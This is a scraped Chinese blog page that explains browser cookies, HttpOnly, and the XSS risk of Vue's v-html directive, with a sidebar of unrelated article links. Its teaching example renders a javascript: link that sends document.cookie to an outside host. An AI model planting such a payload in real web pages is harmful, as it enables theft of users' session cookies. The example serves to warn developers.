当前位置:网站首页>什么是cookie,以及v-htm的安全性隐患
什么是cookie,以及v-htm的安全性隐患
2022-06-27 21:25:00 【qq_46302247】
什么是cookie?服务器返回的key-value形式的字符串,然后被浏览器保存下来了

只有HttpOnly未打钩的,才能被js获取;HttpOnly是后端设置的
v-htm的安全性隐患
<template>
<div class="profile">
<div v-html="str"></div>
</div>
</template>
<script>
export default {
data() {
return {
str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点我有惊喜!</a>'
}
},
}
</script>

边栏推荐
- 【tinyriscv verilator】分支移植到正点原子达芬奇开发板
- matlab axis坐标轴相关设置详解
- Does the subscription of Siyuan notes stop deleting cloud data directly?
- clickonce 部署ClickOnce应用程序时出错-清单中的引用与下载的程序集的标识不匹配
- Can you do these five steps of single cell data cleaning?
- How to solve the problem that the browser developed with CeF3 does not support flash
- 通过中金证券经理的开户二维码开股票账户安全吗?还是去证券公司开户安全?
- Halcon's region: features of multiple regions (6)
- 2022 PMP project management examination agile knowledge points (3)
- [AI application] detailed parameters of NVIDIA Tesla v100s-pcie-32gb
猜你喜欢

【PCL自学:PCLPlotter】PCLPlotter绘制数据分析图

零基础自学SQL课程 | SQL中的日期函数大全

【PCL自学:Segmentation4】基于Min-Cut点云分割

图的存储结构

【剑指Offer】47. 礼物的最大价值
![[sword finger offer] 47 Maximum value of gifts](/img/bc/1aff1223b1672c4089151dc56c4d4e.png)
[sword finger offer] 47 Maximum value of gifts
Does the subscription of Siyuan notes stop deleting cloud data directly?

零基础自学SQL课程 | CASE函数

c语言之字符串数组

ClickOnce error deploying ClickOnce application - the reference in the manifest does not match the identity of the downloaded assembly
随机推荐
Are the registered accounts of the top ten securities companies safe and risky?
C language character pointer and string initialization
十大券商注册账户安全吗,会有风险吗?
企业架构师面试的100个问题
【剑指Offer】48. 最长不含重复字符的子字符串
[digital ic/fpga] detect the position of the last matching sequence
Sécurité, économie de carburant et protection de l'environnement chameau
Is it safe for Huatai Securities to open an account online?
Is it safe to open a stock account through the account opening QR code of CICC securities manager? Or is it safe to open an account in a securities company?
用两个栈实现队列[两次先进后出便是先进先出]
RecyclerView实现分组效果,多种实现方式
flutter系列之:flutter中的变形金刚Transform
Zero foundation self-study SQL course | if function
Windows环境下的ELK——Logstash+Mysql(4)
安全省油环保 骆驼AGM启停电池魅力十足
【AI应用】NVIDIA Tesla V100S-PCIE-32GB的详情参数
搭建开源美观的数据库监控系统-Lepus
【PCL自学:PCLPlotter】PCLPlotter绘制数据分析图
At the beginning of reading English literature, I would like to ask you how you should read it in the first place?
未能加载文件或程序集“CefSharp.Core.Runtime.dll”或它的某一个依赖项。 不是有效的 Win32 应用程序。 (异常来自 HRESULT:0x800700C1)